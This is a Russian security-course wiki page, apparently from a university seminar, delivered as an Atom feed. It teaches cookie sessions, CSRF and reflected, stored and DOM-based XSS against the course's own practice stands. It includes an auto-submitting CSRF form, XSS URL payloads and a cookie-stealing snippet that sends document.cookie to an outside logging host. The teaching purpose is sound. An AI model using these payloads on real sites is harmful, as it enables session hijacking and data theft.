<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://course.secsem.ru/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Asterite</id>
	<title>SecSem Wiki - Вклад [ru]</title>
	<link rel="self" type="application/atom+xml" href="https://course.secsem.ru/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Asterite"/>
	<link rel="alternate" type="text/html" href="https://course.secsem.ru/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/Asterite"/>
	<updated>2026-04-24T12:49:17Z</updated>
	<subtitle>Вклад</subtitle>
	<generator>MediaWiki 1.43.3</generator>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%90%D1%82%D0%B0%D0%BA%D0%B8_%D0%BD%D0%B0_%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0_%D0%B2%D0%B5%D0%B1-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_-_CSRF_%26_XSS&amp;diff=683</id>
		<title>Введение в практическую безопасность (2019)/Атаки на клиента веб-приложения - CSRF &amp; XSS</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%90%D1%82%D0%B0%D0%BA%D0%B8_%D0%BD%D0%B0_%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0_%D0%B2%D0%B5%D0%B1-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_-_CSRF_%26_XSS&amp;diff=683"/>
		<updated>2022-07-04T13:15:16Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Reflected XSS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;При атаке на клиента атакующий пытается вынудить &#039;&#039;&#039;браузер&#039;&#039;&#039; клиента (&#039;&#039;&#039;жертвы&#039;&#039;&#039; атаки) выполнить какое-то действие с веб-приложением. Причина почему это может быть полезно атакующему - браузер клиента может быть &#039;&#039;&#039;аутентифицирован&#039;&#039;&#039; в приложении, запросы от него могут быть отличимы сервером, то есть сервер может понимать, что данный запрос сделан от имени конкретного пользователя.&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
Существуют различные способы, которыми сервер может отличать, от какого клиента пришёл запрос.&lt;br /&gt;
&lt;br /&gt;
=== Сессии на основе Cookie ===&lt;br /&gt;
&lt;br /&gt;
Наиболее часто используемый способ аутентификации в современный веб-приложениях - это &#039;&#039;&#039;cookie&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/Cookie википедия], [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies MDN]). Работает это очень просто: в HTTP-ответе сервер отправляет заголовок &amp;lt;code&amp;gt;Set-Cookie: COOKIENAME=SOMEUNIQUEVALUE&amp;lt;/code&amp;gt;, где &amp;lt;code&amp;gt;SOMEUNIQUEVALUE&amp;lt;/code&amp;gt; - какое-то значение, уникальное для этой &#039;&#039;&#039;сессии&#039;&#039;&#039; (&#039;&#039;&#039;идентификатор сессиии&#039;&#039;&#039;), &amp;lt;code&amp;gt;COOKIENAME&amp;lt;/code&amp;gt; - имя сессионного идентификатора, имя, с которым ассоциировано это уникальное значение. Получив это значение, браузер запомнит его и будет отправлять на этот сайт с каждым последующим запросом в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt; (кстати, что именно значит &amp;quot;на этот сайт&amp;quot; очень интересно - кука будет отправлена если обращаться на другой TCP, порт а также по дефолту на все поддомены. [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies В доке MDN есть про это]). По тому что в запросе в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt; будет это уникальное значение сервер будет понимать, что этот запрос относится к этой &#039;&#039;&#039;сессии&#039;&#039;&#039;, в том числе, если эта сессия принадлежит какому-то клиенту, что этот запрос от этого клиента. Для примера можно залогиниться на http://pwnitter.stands.course.secsem.ru/ (для этого надо сначала зарегиться). При логине на сервер отправится такой запрос&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /login HTTP/1.1&lt;br /&gt;
Host: pwnitter.stands.course.secsem.ru&lt;br /&gt;
...&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-Length: 24&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
login=test&amp;amp;password=test&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
В ответ сервер присылает заголовок &amp;lt;code&amp;gt;Set-Cookie: session=eyJ1c2VyIjoidGVzdCIsInVzZXJfaWQiOjN9.D3Az7g.wEXp46Qb6OpIPnwIYspV_cIUgug; Path=/&amp;lt;/code&amp;gt;. Все последующие запросы клиента содержат заголовок с этим значением &amp;lt;code&amp;gt;Cookie: session=eyJ1c2VyIjoidGVzdCIsInVzZXJfaWQiOjN9.D3Az7g.wEXp46Qb6OpIPnwIYspV_cIUgug&amp;lt;/code&amp;gt;. В качестве эксперимента можно убрать этот загловок или изменить его (скажем, удалить половину) и посмотреть, как изменится ответ сервера при запросе относящихся к конкретному пользователю ресурсов (к примеру &amp;lt;code&amp;gt;GET /api/get&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Также можно попробовать залогиниться на каком-нибудь реальном сайте (скажем, vk.com или mail.ru) и посмотреть (например через Burp) на заголовки HTTP-запросов и ответов.&lt;br /&gt;
&lt;br /&gt;
=== Другие варианты аутентификации ===&lt;br /&gt;
&lt;br /&gt;
Протокол HTTP сам по себе поддерживает несколько вариантов аутентификации через заголовок &amp;lt;code&amp;gt;Authorization&amp;lt;/code&amp;gt;, также при использовании HTTPS возможна аутентификация по клиентскому сертификату, наконец, возможны более простые варианты, например, по IP-адресу.&lt;br /&gt;
&lt;br /&gt;
Все перечисленные варианты обладают одним общим свойством - любой запрос, отправленный аутентифицированным браузером на сайт, будет автоматически обладать аутентифицирующим признаком (например содержать аутентифицирующий токен - куку/учетные данные/...) и будет считаться сервером как сделанный от имени этого клиента. Это удобно, но это может помочь атакующему, если тот сможет вынудить браузер жертвы отправить запрос, который ни жертва, ни разработчик сайта, отправлять не собирались. (Кстати, таким свойством обладает не любой способ аутентификации. К примеру, если аутентифицировать запросы по кастомному заголовку или кастомному параметру запроса, то их браузер автоматически не пошлёт - правда, в случае кастомного заголовка всё взаимодействие с сервером придётся осуществлять через JavaScript, в целом, программирование сайта будет несколько сложнее).&lt;br /&gt;
&lt;br /&gt;
== Cross-site request forgery ==&lt;br /&gt;
&lt;br /&gt;
Прямой эксплуатацией описанного выше свойства является атака &#039;&#039;&#039;Cross-site request forgery&#039;&#039;&#039; (&#039;&#039;&#039;CSRF&#039;&#039;&#039;, [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) OWASP], [https://en.wikipedia.org/wiki/Cross-site_request_forgery википедия]). Эта атака имеет смысл когда существует существует запрос к серверу, который может внести на сервере какие-то изменения, причем эффект запроса зависит от того, какой пользователь его сделал (к примеру, запрос имеет право только определенный пользователь).&lt;br /&gt;
Например, на сайте http://zp.stands.course.secsem.ru/ у пользователей есть возможность изменить свой номер карты, записанный в профиле. В личном кабинете есть форма, посылающая на сервер запрос на изменение номера карты. Изменение делается запросом вида&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /lk HTTP/1.1&lt;br /&gt;
Host: zp.stands.course.secsem.ru&lt;br /&gt;
...&lt;br /&gt;
Cookie: session=eyJwYXNzd29yZCI6InRlc3QiLCJ1c2VybmFtZSI6InRlc3QifQ.XI7Y8g.pVkMZg6ZzsBYm8vZZw-PxGDMXaQ&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
card_number=372757798399775&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
При этом то, в чьем профиле будет изменён номер карты, определяется именно кукой (отпрака этого запроса без куки или с невалидной кукой приводит к ошибке &amp;lt;code&amp;gt;400 BAD REQUEST&amp;lt;/code&amp;gt;). Допустим, атакующий хочет изменить номер карты в профиле жертвы на свой - на &#039;&#039;&#039;6011720544333229&#039;&#039;&#039;. Он может создать страницу с HTML-кодом&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form action=&amp;quot;http://zp.stands.course.secsem.ru/lk&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input name=&amp;quot;card_number&amp;quot; value=&amp;quot;6011720544333229&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
    document.forms[0].submit();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Эта страница содержит форму, отправка которой приводит к созданию как раз такого запроса на изменение номера карты как тот что создаёт сайт (атрибут &amp;lt;code&amp;gt;action&amp;lt;/code&amp;gt; формы задаёт URL, на который будет отправлен запрос при отправке формы, &amp;lt;code&amp;gt;method&amp;lt;/code&amp;gt; задаёт метод, параметры запроса определяются &amp;lt;code&amp;gt;input&amp;lt;/code&amp;gt;&#039;ами, при этом атрибут &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; задаёт название параметра, значением будет значение, заданое в &amp;lt;code&amp;gt;input&amp;lt;/code&amp;gt;&#039;е, атрибут &amp;lt;code&amp;gt;value&amp;lt;/code&amp;gt; задаёт изначальнок значение). JS-код &amp;lt;code&amp;gt;document.forms[0].submit();&amp;lt;/code&amp;gt; автоматически отправляет форму.&lt;br /&gt;
&lt;br /&gt;
Если атакующему удастся каким-то образом заманить жертву на такую страницу (к примеру, он встроит её в сайт который жертва иногда посещает или атакующий может убедить жертву пройти по присланной ссылке), то при её посещении форма автоматически отправится и данные в профиле изменятся (в данном случае - номер карты поменяется на &#039;&#039;&#039;6011720544333229&#039;&#039;&#039;, это можно легко проверить, сохранив приведенный выше HTML-код в HTML-файл, скажем, &amp;lt;code&amp;gt;test.html&amp;lt;/code&amp;gt; и открыв его в браузере, будучи залогиненым на сайте, к стенду zp.stands.course.secsem.ru подходят логин/пароль &amp;lt;code&amp;gt;test&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;test&amp;lt;/code&amp;gt;). Это и есть атака &#039;&#039;&#039;CSRF&#039;&#039;&#039;. В реальности могут быть и более серьёзные действия, которые можно сделать через CSRF, например удалить аккаунт или дать другому пользователю админские права или, скажем, сменить пароль.&lt;br /&gt;
&lt;br /&gt;
Следует отметить что, если бы действие на сайте выполнялось не через &amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt;-запрос, а через простой &amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt; с передачей всех параметров в URL, атакующему было бы проще - никакую форму делать бы не пришлось, достаточно было бы перенаправить браузер жертвы на выполняющий действие URL, уже содержащий нужные атакующему параметры (перенаправление можно сделать со своего сервера через HTTP-редирект или из JavaScript кодом &amp;lt;code&amp;gt;location.href = &amp;quot;http://google.com/search?q=csrf&amp;quot;&amp;lt;/code&amp;gt;) или, если атакующему удаётся заставить жертву перейти по присланной ссылке, просто дать жертве сразу выполняющую действие ссылку. Есть и другие способы заставить браузер жертвы сделать &amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt;-запрос - к примеру, разместить на посещаемой жертвой странице скрипт или стиль или картинку с адресом - URL, соответствующим действию на сайте. Даже если на этот запрос не будет возвращаться валидный скрипт/стиль/картинка, чтобы это понять, браузеру придется сначала сделать запрос. Это одна из причин почему считается, что &amp;lt;code&amp;gt;GET&amp;lt;/code&amp;gt;-запросы (а также запросы с другими &#039;&#039;&#039;safe&#039;&#039;&#039; методами) никогда не должны изменять состояние сервера, изменения должны делаться только через &amp;lt;code&amp;gt;POST&amp;lt;/code&amp;gt; или другой &#039;&#039;&#039;unsafe&#039;&#039;&#039; метод. Про safe/unsafe методы: [https://tools.ietf.org/html/rfc7231#section-4.2.1 RFC], [https://developer.mozilla.org/en-US/docs/Glossary/safe MDN].&lt;br /&gt;
&lt;br /&gt;
== JavaScript и Same-origin policy ==&lt;br /&gt;
&lt;br /&gt;
Страницы, загруженные в браузере с одних сайтов, могут вызывать запросы к другим сайтам, как было рассмотрено выше (загрузка картинок, стилей, скриптов, перенаправления, автоматическая отправка форм). Однако, &#039;&#039;&#039;JavaScript&#039;&#039;&#039; - код может не только отправлять запросы, но и &#039;&#039;&#039;читать ответы на них&#039;&#039;&#039;, а также делать что-то с прочитанными данными, в т. ч. передавать их еще куда-то. С помощью HTML-тега &amp;lt;code&amp;gt;iframe&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe MDN]) можно создавать внутри страницы вложенные страницы и JS-код может читать их содержимое. Также, у JS-кода на веб-страницах есть собственные интерфейсы для отправки HTTP-запросов и чтения ответов - &amp;lt;code&amp;gt;XMLHttpRequest&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest MDN]) и более новый &amp;lt;code&amp;gt;fetch&amp;lt;/code&amp;gt;([https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch MDN]). Если бы JS-код с любого сайта мог делать запросы &#039;&#039;&#039;на любой другой&#039;&#039;&#039; и &#039;&#039;&#039;читать ответы на них&#039;&#039;&#039;, получилось бы совсем небезопасно - любой недоверенный сайт, посещенный пользователем, мог бы тут же запросить страницы его интернет-банка, его сообщений из социальных сетей, почты и т. д. и украсть всю информацию оттуда.&lt;br /&gt;
&lt;br /&gt;
Чтобы побороться с этой проблемой, был введён принцип &#039;&#039;&#039;Same-origin policy&#039;&#039;&#039; (&#039;&#039;&#039;SOP&#039;&#039;&#039;, [https://www.w3.org/Security/wiki/Same_Origin_Policy W3C], [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy MDN], [https://en.wikipedia.org/wiki/Same-origin_policy википедия]) - соглавно нему, JS-код на странице, загруженной с одного сайта, &#039;&#039;&#039;не может читать ответы&#039;&#039;&#039; на запросы к другому сайту, а также получать доступ к содержимому &amp;lt;code&amp;gt;iframe&amp;lt;/code&amp;gt; с другого сайта. Опять возникает вопрос, что значит &amp;quot;с одного сайта&amp;quot; - более точно, SOP запрещает чтение ответа (а также, в некоторых случаях, ограничивает отправку запроса) у страницы с которой делается запрос и сайта, куда он посылается, отличается &#039;&#039;&#039;origin&#039;&#039;&#039; ([https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin MDN]) - тройка из &#039;&#039;&#039;протокола&#039;&#039;&#039;, &#039;&#039;&#039;хоста&#039;&#039;&#039; и &#039;&#039;&#039;порта&#039;&#039;&#039;. Т. е. если хотя бы один их этих параметров отличается (запрос делается с другим протоколом, скажем, http вместо https) или на другой порт или на другой хост (т. е. другое доменное имя или ip-адрес) то такой запрос будет считаться кросс-доменным и будет попадать под ограничение SOP. Существует несколько механизмов, которые позволяют сайтам управлять этими ограничениями - их можно ослабить, позволив одному сайту читать данные с другого с помощью [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS CORS] и, наоборот, усилить (скажем, запретив включать с другого сайта даже картинки) с помощью [https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP CSP].&lt;br /&gt;
&lt;br /&gt;
В любом случае, в итоге, по умолчанию в современном интернете JS-код на страницах одного сайта (evil.com) не может прочесть данные с другого сайта (victim.site). Однако, что если бы атакующему удалось поместить свой JS-код на страницы c &#039;&#039;&#039;того же сайта&#039;&#039;&#039;, атакуемого, прямо на victim.site?&lt;br /&gt;
&lt;br /&gt;
== Cross-site scripting ==&lt;br /&gt;
&lt;br /&gt;
В случае, если атакующему удаётся выполнить свой JS-код на странице атакуемого сайта, это позволяет провести уже более серьёзную атаку - &#039;&#039;&#039;Cross-site scripting&#039;&#039;&#039; (&#039;&#039;&#039;XSS&#039;&#039;&#039;, [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) OWASP], [https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting MDN], [https://en.wikipedia.org/wiki/Cross-site_scripting википедия]). Поскольку страница, на которой выполняется код, принадлежит атакуемому сайту, у неё будет его &#039;&#039;&#039;origin&#039;&#039;&#039;, то этот код сможет читать как содержимое этой страницы, так и делать запросы к этому сайту и &#039;&#039;&#039;читать ответы на них, получая полный доступ ко всему на этом сайте, к чему имеет доступ сам пользователь&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Reflected XSS ===&lt;br /&gt;
&lt;br /&gt;
Простейшим вариантом XSS является &#039;&#039;&#039;Reflected XSS&#039;&#039;&#039; (также называемый XSS типа 1), при которой часть запроса на сайт включается без достаточной фильтрации (например, вообще без изменений) в ответ на этот запрос. К примеру, у сайта http://pwnitter.stands.course.secsem.ru/ есть страничка приветствия только что зарегистрированного пользователя: http://pwnitter.stands.course.secsem.ru/registration-complete?name=newuser. Она работает так что берётся параметр &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; из query string запроса и as-is помещается в ответ, после надписи &amp;lt;code&amp;gt;Hello, &amp;lt;/code&amp;gt;, получается приветствие. В случае, если в параметре &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; будут управляющие символы HTML, они также будут помещены на страницу и с помощью них могут быть сформированы HTML-тэги. Для браузера они будут выглядеть как часть разметки страницы, сгенерированной сервером и он проинтерпретирует их соответствующим образом, он не знает что эта часть страницы пришла из запроса пользователя &amp;lt;s&amp;gt;(на самом деле в &#039;&#039;&#039;Google Chrome&#039;&#039;&#039; есть защитный механизм [https://www.chromium.org/developers/design-documents/xss-auditor XSS auditor], который пытается это понимать и блокирует такие запросы, поэтому экспериментировать лучше в Firefox)&amp;lt;/s&amp;gt;. В результате, при переходе по ссылке http://pwnitter.stands.course.secsem.ru/registration-complete?name=%3Cscript%3Ealert(&#039;SCRIPT+FROM+ATTACKER&#039;);%3C/script%3E браузер получит страницу, содержащую тег &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(&#039;SCRIPT FROM ATTACKER&#039;);&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;, что на Firefox должно привести выполнению JS-кода &amp;lt;code&amp;gt;alert(&#039;SCRIPT FROM ATTACKER&#039;);&amp;lt;/code&amp;gt; и появлению окошка с надписью &amp;lt;code&amp;gt;SCRIPT FROM ATTACKER&amp;lt;/code&amp;gt; &amp;lt;s&amp;gt;(а в Chrome - к странице с сообщением о блокировке с надписью &amp;lt;code&amp;gt;ERR_BLOCKED_BY_XSS_AUDITOR&amp;lt;/code&amp;gt;)&amp;lt;/s&amp;gt;. В итоге, если атакующий может, как и в предыдущем сценарии с CSRF, убедить жертву перейти по переданной ссылке (или зайти на контроллируемый атакующим сайт что в данном случае равноценно т.к. можно сделать &amp;lt;code&amp;gt;iframe&amp;lt;/code&amp;gt; или редирект), то атакующий сможет получит доступ и украсть любые данные, доступные жертве.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация XSS ===&lt;br /&gt;
&lt;br /&gt;
Конкретнее, атакующий может&lt;br /&gt;
* получить &#039;&#039;&#039;cookie&#039;&#039;&#039; через свойство &amp;lt;code&amp;gt;document.cookie&amp;lt;/code&amp;gt;. По-умолчанию JavaScript-код может считывать значения кук и менять их. Это протейший способ эксплуатации XSS, после кражи сессионного идентификатора атакующий может просто уже самостоятельно делать запросы, передавая его в заголовке &amp;lt;code&amp;gt;Cookie&amp;lt;/code&amp;gt;, сайт будет воспринимать эти запросы как пришедшие от пользователя-жертвы, так что дальше атакующий сможет получить доступ ко всем данным жетвы, просто запрашивая их. Чтение куки из JS-кода можно запретить, выставив атрибут куки &amp;lt;code&amp;gt;HttpOnly&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies MDN], [https://www.owasp.org/index.php/HttpOnly OWASP]), он выставляется вместе с кукой в заголовке ответа &amp;lt;code&amp;gt;Set-Cookie: session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.XI9rjw.-tX3LIQ-cwyUnNlOuQqyVXBu99A; HttpOnly; Path=/&amp;lt;/code&amp;gt;. Проверить, сработает ли кража куки можно, залогинившись и обратившись к &amp;lt;code&amp;gt;document.cookie&amp;lt;/code&amp;gt; (в браузерной консоли или по-другому из JS кода). Например, можно будучи залогиненым перейти по урлу http://pwnitter.stands.course.secsem.ru/registration-complete?name=%3cscript%3ealert(&#039;STOLENCOOKIE:+&#039;+%2b+document.cookie);%3c/script%3e (обратите внимание, что тут плюс (&amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt;) закодирован URL-кодированием и выглядит как &amp;lt;code&amp;gt;%2b&amp;lt;/code&amp;gt; - без этого он по правилам URL-кодирования превратился бы в пробел.&lt;br /&gt;
* читать (и изменять) страницу, на которой выполняется JS-код. JavaScript-код может произвольным образом манипулировать страницей, используя интерфейс &#039;&#039;&#039;Document Object Model&#039;&#039;&#039; (&#039;&#039;&#039;DOM&#039;&#039;&#039;, [https://en.wikipedia.org/wiki/Document_Object_Model википедия], [https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model MDN]). К примеру, весь HTML-код страницы можно считать таким кодом &amp;lt;code&amp;gt;var wholePage = document.documentElement.outerHTML;&amp;lt;/code&amp;gt;&lt;br /&gt;
* делать HTTP-запросы к сайту и читать ответы на них, используя &#039;&#039;&#039;XMLHttpRequest&#039;&#039;&#039; и &#039;&#039;&#039;fetch&#039;&#039;&#039;&lt;br /&gt;
* выводить считанные данные &#039;&#039;&#039;на сервер атакующего&#039;&#039;&#039;. Как уже обсуждалось выше, JS-код на странице &#039;&#039;&#039;может&#039;&#039;&#039; делать запросы к другим сайтам (по умолчанию читать ответы не получится, но, во-первых, для вывода украденных данных достаточно сделать запрос, во-вторых, в крайнем случае атакующий может включить на своём cервере &#039;&#039;&#039;CORS&#039;&#039;&#039;).&lt;br /&gt;
** Для отправки запроса, содержащего украденные данные, можно использовать XMLHttpRequest/fetch&lt;br /&gt;
** есть еще более простой трюк - создать в JS-коде изображение с URL, хостом которого будет сервер атакующего, а в пути или query string будут украденные данные. При попытке загрузить изображение по этому URL браузер отправит запрос, включающий украденные данные, атакующий увидит его, скажем, в логах своего сервера. Например, такой код &amp;lt;code&amp;gt;var i = new Image;var stolenCookie = document.cookie; i.src = &#039;https://utkautkautkautkautka.pythonanywhere.com/stolen?data=&#039; + stolenCookie&amp;lt;/code&amp;gt; приведёт к тому что браузер откроет URL https://utkautkautkautkautka.pythonanywhere.com/stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk и а логах этого сервера появится запись &amp;lt;code&amp;gt;&amp;quot;GET /stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk HTTP/1.1&amp;quot; 404&amp;lt;/code&amp;gt;, содержащая украденную куку.&lt;br /&gt;
** При выводе данных атакующему может помогать кодировать данные (чтобы, скажем, они не образались по какому-нибудь символу-разделителю). Очень полезна функция &amp;lt;code&amp;gt;btoa&amp;lt;/code&amp;gt;, которая кодирует строку в &#039;&#039;&#039;base64&#039;&#039;&#039;. Другим вариантом может быть URL-кодирование (&amp;lt;code&amp;gt;encodeURIComponent&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
=== Stored XSS ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Stored XSS&#039;&#039;&#039; (или XSS типа 2) имеет место, когда атакующий JS-код &#039;&#039;&#039;сохраняется на сервере&#039;&#039;&#039; и возвращается не в ответ на запрос, передающий этот код (или не только на него), но и на другие запросы, уже не содержащие атаку. На стенде http://pwnitter.stands.course.secsem.ru/ примером stored XSS является XSS в личных сообщениях. Текст личного сообщения никак не фильтруется и подставляется в страницу входящих сообщений as-is, что позволяет внедрить произвольный JS-код. Stored XSS намного опаснее, т. к., во-первых, вредоносный код сохраняется на сервере и может отработать несколько раз без дополнительных действий со стороны атакующего, во-вторых, жетва не должна как-то &amp;quot;подыгрывать&amp;quot; атакующему, переходя по подозрительным ссылкам или заходя на недоверенные сайты; жетва может делать вполне обычные действия, посещая вполне легитимные страницы сайта (в данном случае - простматривая личные сообщения) и при этом подвергнуться атаке.&lt;br /&gt;
&lt;br /&gt;
=== DOM-based XSS === &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;DOM-based XSS&#039;&#039;&#039; (&#039;&#039;&#039;DOMXSS&#039;&#039;&#039; или XSS типа 3) - XSS, вызванная действиями клиентского JS-кода, а не сервера. JavaScript-код может произвольным образом менять сожержимое страницы, в т. ч. добавить на неё новый скрипт, что может привести к его выполнению. Кроме того, у JavaScript есть ряд способов непосредственно выполнить новый JS-код (&amp;lt;code&amp;gt;eval&amp;lt;/code&amp;gt;,&amp;lt;code&amp;gt;Function&amp;lt;/code&amp;gt; и не только). В итоге, ошибка в клиентском коде (в простейшем случае - опять же, подстановка пользовательских данных на страницу без должной фильтрации) может приводить к XSS, при этом вредоносный код может даже не отправляться на сервер и атака может пройти для сервера полностью незамеченной. Примером DOMXSS на стенде http://pwnitter.stands.course.secsem.ru/ является XSS в &amp;quot;твитах&amp;quot;. Они грузятся с сервера асинхронно JS-кодом (с помощью XMLHttpRequest) и помещаются в код страницы через присваивания свойства &amp;lt;code&amp;gt;innerHTML&amp;lt;/code&amp;gt; ([https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML MDN]). Никакой фильтрации опять-таки не производится, что позволяет внедрить на страницу разметку. Что интересно, код в теге &amp;lt;code&amp;gt;script&amp;lt;/code&amp;gt; при этом не выполнится - он не выполняется автоматически при добавке &amp;lt;code&amp;gt;script&amp;lt;/code&amp;gt; через &amp;lt;code&amp;gt;innerHTML&amp;lt;/code&amp;gt;. Однако, здесь может сработать другой, более универсальный вектор - обработчик события. Одним из наиболее часто используемых векторов атаки является тег &amp;lt;code&amp;gt;img&amp;lt;/code&amp;gt; с невалидным урлом и обработчиком ошибки: &amp;lt;code&amp;gt;&amp;lt;img src=invalidsource onerror=&amp;quot;alert(&#039;XSS&#039;)&amp;quot;&amp;gt;&amp;lt;/code&amp;gt;. В принципе, DOMXSS тоже можно классифицировать как Reflected и Stored, в зависимости от того, берет ли уязвимый клиентский код атакующие данные из запроса клиента или же они где-то сохранены. В данном случае, скорее, Stored, так как &amp;quot;твит&amp;quot; сохранится на сервере и будет отдаваться в списке, что приведет к атаки на любых пользователей, которые, скажем, зашли посмотреть список рандомных твитов.&lt;br /&gt;
&lt;br /&gt;
=== XSS vs CSRF ===&lt;br /&gt;
&lt;br /&gt;
Хорошим тестом на понимание является ответ на вопрос - что сильнее, XSS или CSRF и нужно ли искать/может ли быть полезным CSRF если уже удаётся эксплуатировать на сайте XSS.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%90%D1%82%D0%B0%D0%BA%D0%B8_%D0%BD%D0%B0_%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0_%D0%B2%D0%B5%D0%B1-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_-_CSRF_%26_XSS&amp;diff=682</id>
		<title>Введение в практическую безопасность (2019)/Атаки на клиента веб-приложения - CSRF &amp; XSS</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%90%D1%82%D0%B0%D0%BA%D0%B8_%D0%BD%D0%B0_%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0_%D0%B2%D0%B5%D0%B1-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_-_CSRF_%26_XSS&amp;diff=682"/>
